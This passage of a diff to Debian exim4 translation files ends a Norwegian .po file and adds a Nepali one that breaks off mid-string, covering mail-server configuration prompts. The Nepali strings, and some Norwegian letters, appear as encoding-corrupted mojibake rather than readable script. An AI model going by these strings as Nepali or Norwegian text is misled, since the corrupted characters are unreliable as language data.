+"offentlige nettverksgrensesnitt." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "Minimer antall DNS-forespørsler (oppringning-etter-behov)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"Vanligvis vil Exim gjøre DNS-oppslag ved oppstart, ved sending og mottak av " +"e-post, osv. Dette er for logging osv. og for Ã¥ begrense behovet for " +"hardkodede verdier i oppsettsfila." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Hvis dette er en maskin uten permanent tilgang til DNS-navnetjenere (f.eks. " +"Internett-tilgangen er en oppringt linje med oppringning etter behov), kan " +"dette ha den uønskede konsekvensen at det Ã¥ starte opp Exim eller Ã¥ behandle " +"køen (selv uten noen ventende meldinger) kan aktivere en dyr oppringing." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Dette bør slÃ¥s pÃ¥ hvis dette systemet bruker oppringing ved behov. Hvis " +"systemet har Internett-tilgang alltid pÃ¥, bør dette slÃ¥s av." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "Oppsett av e-post-tjener" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Del oppsettet i mindre filer?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Debians exim4-pakker kan enten bruke «uoppdelt oppsett», en enkelt " +"monolittisk fil (/etc/exim4/exim4.conf.template) eller «oppdelt oppsett» der " +"omtrent 50 smÃ¥filer i /etc/exim4/conf.d/ brukes for Ã¥ generere det ferdige " +"oppsettet." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"Uoppdelt oppsett er bedre egnet for store endringer og er generelt mer " +"stabil, mens oppdelt oppsett tilbyr en komfortabel mÃ¥te Ã¥ gjøre smÃ¥ " +"endringer pÃ¥, men er skjørere og kan brekke hvis den endres uforsiktig." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"Oppdelt og uoppdelt oppsett drøftes mer inngÃ¥ende i den Debian spesifikke " +"README-filen i /usr/share/doc/exim4-base." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Skjul lokalt postnavn i utgÃ¥ende post?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"Hodene i utgÃ¥ende post kan skrives om slik at det ser ut til at den er laget " +"pÃ¥ et annet system. Hvis dette velges, blir «${mailname}» «localhost» og " +"«${dc_other_hostnames}» omskrevet i From, Reply-To, Sender og Return-Path." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "mbox format i /var/mail/" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "Maildir-format i hjemmekatalogen" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "Leveringsmetode for lokal e-post:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim kan lagre e-post levert lokalt i forskjellige formater. De mest brukte " +"er mbox og Maildir. mbox bruker én fil for hele e-postmappa lagret i /var/" +"mail/. Med Maildir-format lagres hver melding i en egen fil i ~/Maildir/." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"Merk at de fleste e-postverktøy i Debian forventer i standard-oppsettene " +"sine at lokal leveringsmÃ¥te er mbox." + +#, fuzzy +#~ msgid "Move undelivered mails from exim 3 to exim4 spool?" +#~ msgstr "Flytte ikke-levert e-post fra exim(v3) til exim4-køen?" + +#, fuzzy +#~ msgid "" +#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " +#~ "directory /var/spool/exim/input/." +#~ msgstr "" +#~ "Det finnes e-post i exims(v3) eller exim-tls'(v3) køkatalog /var/spool/" +#~ "exim/input som ennÃ¥ ikke er blitt levert." + +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "Om dette krysses av blir disse flyttet til exim4s kø (/var/spool/exim4/" +#~ "input), hvor de vil bli hÃ¥ndtert av exim4." + +#, fuzzy +#~ msgid "" +#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" +#~ "versa. If you reject this option, you need to move the messages yourself " +#~ "or they will never be delivered." +#~ msgstr "" +#~ "Dette virker bare den ene veien: Exim4 kan behandle køen til exim(v3), " +#~ "men ikke omvendt. Meldingene bør flyttes bare dersom exim(v3) ikke skal " +#~ "installeres igjen, ellers kan meldingene flyttes manuelt senere." + +#~ msgid "Leaving this list blank will have Exim do no local deliveries." +#~ msgstr "Hvis denne lista er tom vil Exim ikke levere lokal e-post." diff --git a/debian/po/ne.po b/debian/po/ne.po new file mode 100644 index 0000000..4733aff --- /dev/null +++ b/debian/po/ne.po @@ -0,0 +1,611 @@ +# translation of exim4_debian_po_ne.po to Nepali +# Shyam Krishna Bal <shyamkrishna_bal@yahoo.com>, 2006. +# Shyam Krishna Bal <shyam@mpp.org.np>, 2006. +# shyam krishna bal <shyamkrishna_bal@yahoo.com>, 2007. +msgid "" +msgstr "" +"Project-Id-Version: exim4_debian_po_ne\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2007-07-25 18:20+0545\n" +"Last-Translator: shyam krishna bal <shyamkrishna_bal@yahoo.com>\n" +"Language-Team: Nepali <info@mpp.org.np>\n" +"Language: ne\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"Plural-Forms: nplurals=2;plural=(n!=1)\n" +"X-Generator: KBabel 1.11.4\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "सà¥à¤ªà¥‚ल डाइरेकà¥à¤Ÿà¥à¤°à¥€à¤®à¤¾ हसà¥à¤¤à¤¾à¤¨à¥à¤¤à¤°à¤£ नà¤à¤à¤•à¤¾ पतà¥à¤°à¤¹à¤°à¥‚ हटाउनà¥à¤¹à¥à¤¨à¥à¤› ?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"तà¥à¤¯à¤¹à¤¾à¤ à¤à¤•à¥à¤œà¤¿à¤® सà¥à¤ªà¥‚ल डाइरेकà¥à¤Ÿà¥à¤°à¥€ /var/spool/exim4/input मा पतà¥à¤°à¤¹à¤°à¥‚ छनॠजà¥à¤¨ अहिले समà¥à¤® " +"हसà¥à¤¤à¤¾à¤¨à¥à¤¤à¤°à¤£ à¤à¤à¤•à¥‹ छैन । à¤à¤•à¥à¤œà¤¿à¤® हटाउà¤à¤¨à¤¾à¤²à¥‡ तिनीहरू à¤à¤•à¥à¤œà¤¿à¤® पà¥à¤¨-सà¥à¤¥à¤¾à¤ªà¤¨à¤¾ नà¤à¤ समà¥à¤® हसà¥à¤¤à¤¾à¤¨à¥à¤¤à¤°à¤£ हà¥à¤¨à¥‡ " +"छैन ।" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"यदि यो विकलà¥à¤ª रोजà¥à¤¨à¥ à¤à¤à¤¨ à¤à¤¨à¥‡, à¤à¤•à¥à¤œà¤¿à¤® पà¥à¤¨: सà¥à¤¥à¤¾à¤ªà¤¨à¤¾ गरेपछि पछिलà¥à¤²à¥‹ मितिमा हसà¥à¤¤à¤¾à¤¨à¥à¤¤à¤°à¤£ गरà¥à¤¨ " +"लाममा सनà¥à¤¦à¥‡à¤¶à¤¹à¤°à¥‚लाई अनà¥à¤®à¤¤à¤¿ दिà¤à¤°, सà¥à¤ªà¥‚ल डाइरेकà¥à¤Ÿà¤°à¥€ राखिनà¥à¤› ।" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr " यो पà¥à¤¯à¤¾à¤•à¥‡à¤œà¤¹à¤°à¥‚को सटà¥à¤Ÿà¤¾à¤®à¤¾ à¤à¤•à¥à¤œà¤¿à¤®à¥ª-कनà¥à¤«à¤¿à¤— पà¥à¤¨: कनà¥à¤«à¤¿à¤—र गरà¥à¤¨à¥à¤¹à¥‹à¤¸à¥" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"à¤à¤•à¥à¤œà¤¿à¤®à¥ª सà¤à¤— समरà¥à¤ªà¤¿à¤¤ गरिà¤à¤•à¥‹ पà¥à¤¯à¤¾à¤•à¥‡à¤œ, à¤à¤•à¥à¤œà¤¿à¤®à¥ª-कनà¥à¤«à¤¿à¤—मा यसको कनà¥à¤«à¤¿à¤—रेसन फà¥à¤¯à¤¾à¤•à¥à¤Ÿà¤°à¥à¤¡ आउट छ ।" +"à¤à¤•à¥à¤œà¤¿à¤®à¥ª पà¥à¤¨: कनà¥à¤«à¤¿à¤—र गरà¥à¤¨, 'dpkg-reconfigure exim4-config' पà¥à¤°à¤¯à¥‹à¤— गरà¥à¤¨à¥à¤¹à¥‹à¤¸à¥ ।" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "इनà¥à¤Ÿà¤°à¤¨à¥‡à¤Ÿ साइट; पतà¥à¤° पठाइयो र STMP पà¥à¤°à¤¯à¥‹à¤— गरेर सिधै पà¥à¤°à¤¾à¤ªà¥à¤¤ गरियो" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‹à¤¸à¥à¤Ÿà¤¦à¥à¤µà¤¾à¤°à¤¾ पतà¥à¤° पठाइयो; via SMTP वा fetchmail पायो" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‹à¤¸à¥à¤Ÿà¤¦à¥à¤µà¤¾à¤°à¤¾ पतà¥à¤° पठाइयो; कà¥à¤¨à¥ˆ सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ पतà¥à¤° छैन" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ हसà¥à¤¤à¤¾à¤¨à¥à¤¤à¤°à¤£ मातà¥à¤°; सञà¥à¤œà¤¾à¤²à¤®à¤¾ होइन" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "यो समयमा कà¥à¤¨à¥ˆ कनà¥à¤«à¤¿à¤—रेसन à¤à¤à¤¨" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "पतà¥à¤° कनà¥à¤«à¤¿à¤—रेसनको सामनà¥à¤¯ पà¥à¤°à¤•à¤¾à¤°:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "कनà¥à¤«à¤¿à¤—रेसन पà¥à¤°à¤•à¤¾à¤° चयन गरà¥à¤¨à¥à¤¹à¥‹à¤¸à¥ जसले तपाईà¤à¤•à¥‹ उतà¥à¤¤à¤® आवशà¥à¤¯à¤•à¤¤à¤¾à¤¹à¤°à¥à¤²à¤¾à¤ˆ à¤à¥‡à¤Ÿà¥à¤¦à¤› ।" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"डायलअप पà¥à¤°à¤£à¤¾à¤²à¥€à¤¹à¤°à¥‚ समावेश गरेर, गतिशिल आईपी ठेगानाहरूसà¤à¤— पà¥à¤°à¤£à¤¾à¤²à¥€à¤¹à¤°à¥‚, अरà¥à¤•à¥‹ मेशिनमा " +"निरà¥à¤—मण पतà¥à¤° पठाउन सामानà¥à¤¯à¤¤à¤¯à¤¾ कनà¥à¤«à¤¿à¤—र गरिनेछ, जसलाई हसà¥à¤¤à¤¾à¤¨à¥à¤¤à¤°à¤£à¤•à¤¾ लागि 'सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‹à¤¸à¥à¤Ÿ' " +"à¤à¤¨à¤¿à¤¨à¥à¤› किनà¤à¤¨à¥‡ इनà¥à¤Ÿà¤°à¤¨à¥‡à¤Ÿà¤®à¤¾ धेरै पà¥à¤°à¤¾à¤ªà¥à¤¤ गरà¥à¤¨à¥‡ पà¥à¤°à¤£à¤¾à¤²à¥€à¤¹à¤°à¥‚ले सà¥à¤ªà¥à¤¯à¤¾à¤® सà¥à¤°à¤•à¥à¤·à¤¾à¤•à¥‹ रूपमा गतिशिल आईपी " +"ठेगानाबाट आगमन पतà¥à¤° बà¥à¤²à¤• गरà¥à¤¦à¤› ।" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"गतिशील आई पी ठेगाना à¤à¤à¤•à¥‹ पà¥à¤°à¤£à¤¾à¤²à¥€à¤²à¥‡ यसको आफà¥à¤¨à¥ˆ पतà¥à¤° पà¥à¤°à¤¾à¤ªà¥à¤¤ गरà¥à¤¨ सकà¥à¤›, (मूल र " +"पोसà¥à¤Ÿà¤®à¤¾à¤¸à¥à¤Ÿà¤°à¤•à¤¾ लागि पतà¥à¤° बाहेक) सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ हसà¥à¤¤à¤¾à¤¨à¥à¤¤à¤°à¤£ पूरà¥à¤£ रूपमा अकà¥à¤·à¤® गरिà¤à¤•à¥‹ हà¥à¤¨à¤¸à¤•à¥à¤› ।" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "साà¤à¤šà¥à¤šà¥ˆ कनà¥à¤«à¤¿à¤—र नà¤à¤à¤•à¥‹ पतà¥à¤° पà¥à¤°à¤£à¤¾à¤²à¥€ छोडà¥à¤¨à¥à¤¹à¥à¤¨à¥à¤› ?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"पतà¥à¤° पà¥à¤°à¤£à¤¾à¤²à¥€ कनà¥à¤«à¤¿à¤—र नà¤à¤à¤¸à¤®à¥à¤®, यो विचà¥à¤›à¥‡à¤¦à¤¨ हà¥à¤¨à¥‡à¤› र पà¥à¤°à¤¯à¥‹à¤— हà¥à¤¨ सकà¥à¤¦à¥ˆà¤¨ । पछिलà¥à¤²à¥‹ समयमा " +"कनà¥à¤«à¤¿à¤—रेसन या त हातदà¥à¤µà¤¾à¤°à¤¾ वा मूलको रूपमा 'dpkg-reconfigure exim4-config' चलाà¤à¤° " +"गरà¥à¤¨ सकिनà¥à¤› ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "पà¥à¤°à¤£à¤¾à¤²à¥€ पतà¥à¤° नाम:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"'पतà¥à¤° नाम' डोमेन नाम हो जà¥à¤¨ डोमेन नाम बिना पतà¥à¤° ठेगानाहरू 'योगà¥à¤¯' गरà¥à¤¨ पà¥à¤°à¤¯à¥‹à¤— गरिनà¥à¤› ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"यो नाम अनà¥à¤¯ कारà¥à¤¯à¤•à¥à¤°à¤®à¤¹à¤°à¥à¤²à¥‡ पनि पà¥à¤°à¤¯à¥‹à¤— गरà¥à¤¨à¥‡à¤› । यो à¤à¤•à¤², पूरà¥à¤£ योगà¥à¤¯ डोमेन नाम (FQDN) पनि " +"हà¥à¤¨ सकà¥à¤› ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"तसरà¥à¤¥, यदि सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ होसà¥à¤Ÿà¤®à¤¾ पतà¥à¤° ठेगाना foo@example.org छ à¤à¤¨à¥‡, यो विकलà¥à¤ªà¤•à¤¾ लागि सही " +"मान example.org हà¥à¤¨à¥‡à¤› ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"यदि तपाईà¤à¤²à¥‡ पà¥à¤¨:लेखन सकà¥à¤·à¤® गरà¥à¤¨à¥ à¤à¤¯à¥‹ à¤à¤¨à¥‡ बाहिर जाने पतà¥à¤°à¤¹à¤°à¥à¤•à¥‹ लाइनहरà¥à¤¬à¤¾à¤Ÿ: यो नाम देखा परà¥à¤¨ " +"सकà¥à¤¦à¥ˆà¤¨ ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "पतà¥à¤° सà¥à¤µà¥€à¤•à¤¾à¤° गरिने अनà¥à¤¯ गनà¥à¤¤à¤¬à¥à¤¯ सà¥à¤¥à¤¾à¤¨à¤¹à¤°à¥‚:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"कृपया पà¥à¤°à¤¾à¤ªà¤• डोमेनको अलà¥à¤ªà¤¬à¤¿à¤°à¤¾à¤®-विà¤à¤¾à¤œà¤¿à¤¤ सूची पà¥à¤°à¤µà¤¿à¤·à¥à¤Ÿ गरà¥à¤¨à¥à¤¹à¥‹à¤¸à¥ जसका लागि यो मेशिन आफैले " +"अनà¥à¤¤à¤¿à¤® गनà¥à¤¤à¤¬à¥à¤¯ विचार गरà¥à¤¨à¥‡à¤› । यी डोमेनहरूलाई साà¤à¤¾ रूपमा 'सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ डोमेनहरू' à¤à¤¨à¤¿à¤¨à¥à¤› । " +"सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ होसà¥à¤Ÿà¤¨à¤¾à¤® (${fqdn}) र 'सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ होसà¥à¤Ÿ' सधै यहाठदिà¤à¤•à¥‹ सूचीमा थप हà¥à¤¨à¥à¤› ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"पूरà¥à¤µà¤¨à¤¿à¤°à¥à¤§à¤¾à¤°à¤£ दà¥à¤µà¤¾à¤°à¤¾ सबै डोमेनहरू उसà¥à¤¤à¥ˆ वà¥à¤¯à¤µà¤¹à¤¾à¤° गरिने छनॠ। यदि दà¥à¤µà¥ˆ a.example र b.example " +"सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ डोमेनहरू हà¥à¤¨ à¤à¤¨à¥‡, acc@a.example र acc@b.example à¤à¤‰à¤Ÿà¥ˆ अनà¥à¤¤à¤¿à¤® गनà¥à¤¤à¤¬à¥à¤¯à¤®à¤¾ " +"हसà¥à¤¤à¤¾à¤¨à¥à¤¤à¤°à¤£ गरिनेछनॠ। यदि तपाईठविà¤à¤¿à¤¨à¥à¤¨ वà¥à¤¯à¤µà¤¹à¤¾à¤° गरà¥à¤¨ विà¤à¤¿à¤¨à¥à¤¨ डोमेन नामहरू चाहनà¥à¤¹à¥à¤¨à¥à¤›à¤à¤¨à¥‡, " +"तपाईà¤à¤²à¥‡ कनफिग फाइलहरू समà¥à¤ªà¤¾à¤¦à¤¨ गरà¥à¤¨à¥à¤ªà¤°à¥à¤¨à¥‡à¤› । " + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "पतà¥à¤° पà¥à¤°à¤¶à¤¾à¤°à¤£ गरà¥à¤¨à¤•à¥‹ लागि डोमेनहरू:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"कृपया पà¥à¤°à¤¾à¤ªà¤• डोमेनको लागि अलà¥à¤ªà¤¬à¤¿à¤°à¤¾à¤®-बिà¤à¤¾à¤œà¤¿à¤¤ सूची पà¥à¤°à¤µà¤¿à¤·à¥à¤Ÿ गरà¥à¤¨à¥à¤¹à¥‹à¤¸à¥ जसको लागि यो " +"पà¥à¤°à¤£à¤¾à¤²à¥€à¤²à¥‡ पतà¥à¤° पà¥à¤°à¤¸à¤¾à¤°à¤£ गरà¥à¤¦à¤›, जसà¥à¤¤à¥ˆ फलà¥à¤¬à¥à¤¯à¤¾à¤• à¤à¤® à¤à¤•à¥à¤¸ वा पतà¥à¤° गेटवे । यसको मतलब यो पà¥à¤°à¤£à¤¾à¤²à¥€à¤²à¥‡ " +"इनà¥à¤Ÿà¤°à¤¨à¥‡à¤Ÿà¤®à¤¾ कà¥à¤¨à¥ˆ ठाउà¤à¤¬à¤¾à¤Ÿ यी डोमेनहरूका लागि पतà¥à¤° सà¥à¤µà¥€à¤•à¤¾à¤° गरà¥à¤¨à¥‡à¤› र तिनीहरूलाई सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ " +"हसà¥à¤¤à¤¾à¤¨à¥à¤¤à¤°à¤£ नियमको आधारमा हसà¥à¤¤à¤¾à¤¨à¥à¤¤à¤°à¤£ गरà¥à¤› । " + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "यहाठसà¥à¤¥à¤¾à¤¨à¤¿à¤¯ डोमेनहरू उलà¥à¤²à¥‡à¤– नगरà¥à¤¨à¥à¤¹à¥‹à¤¸à¥ । वाइलà¥à¤¡à¤•à¤¾à¤°à¥à¤¡à¤¹à¤°à¥‚ पà¥à¤°à¤¯à¥‹à¤— गरिà¤à¤•à¥‹ हà¥à¤¨à¤¸à¤•à¥à¤› ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "पतà¥à¤° पà¥à¤°à¤¶à¤¾à¤°à¤£ गरà¥à¤¨ मेशिनहरू:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"कृपया आईपी ठेगाना दायराको अलà¥à¤ªà¤¬à¤¿à¤°à¤¾à¤®-विà¤à¤¾à¤œà¤¿à¤¤ सूची पà¥à¤°à¤µà¤¿à¤·à¥à¤Ÿ गरà¥à¤¨à¥à¤¹à¥‹à¤¸à¥ जसका लागि यो " +"पà¥à¤°à¤£à¤¾à¤²à¥€à¤²à¥‡ सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‹à¤¸à¥à¤Ÿà¤•à¥‹ रूपमा पà¥à¤°à¤•à¤¾à¤°à¥à¤¯ गरेर, बिना सरà¥à¤¤ पतà¥à¤° पà¥à¤°à¤¶à¤¾à¤°à¤£ गरà¥à¤¦à¤› ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"तपाईà¤à¤²à¥‡ मानक ठेगाना/उपसरà¥à¤— ढाà¤à¤šà¤¾ (e.g. 194.222.242.0/24 वा 5f03:1200:836f::/48) " +"पà¥à¤°à¤¯à¥‹à¤— गरà¥à¤¨à¥ परà¥à¤¨à¥‡à¤› ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"यदि यो पà¥à¤°à¤£à¤¾à¤²à¥€ अनà¥à¤¯ कà¥à¤¨à¥ˆ होसà¥à¤Ÿà¤•à¥‹ लागि सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‹à¤¸à¥à¤Ÿ बनेन à¤à¤¨à¥‡, यो सूची खाली छोडà¥à¤¨à¥à¤¹à¥‹à¤¸à¥ ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ पà¥à¤°à¤¯à¥‹à¤—करà¥à¤¤à¤¾à¤¹à¤°à¥à¤•à¥‹ लागि दृशà¥à¤¯à¤¾à¤¤à¥à¤®à¤• डोमेन नाम:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"निरà¥à¤—ामन पतà¥à¤°à¤®à¤¾ सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ पतà¥à¤° नाम लà¥à¤•à¤¾à¤‰à¤¨ यो विकलà¥à¤ª सकà¥à¤·à¤® à¤à¤¯à¥‹ । डोमेन नाम निरà¥à¤¦à¤¿à¤·à¥à¤Ÿ गरà¥à¤¨ " +"यो यसकारण आवशà¥à¤¯à¤• à¤à¤¯à¥‹ कि यो पà¥à¤°à¤£à¤¾à¤²à¥€ सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ पà¥à¤°à¤¯à¥‹à¤—करà¥à¤¤à¤¾à¤•à¥‹, पà¥à¤°à¥‡à¤·à¤• ठेगानाहरूको डोमेन " +"à¤à¤¾à¤—का 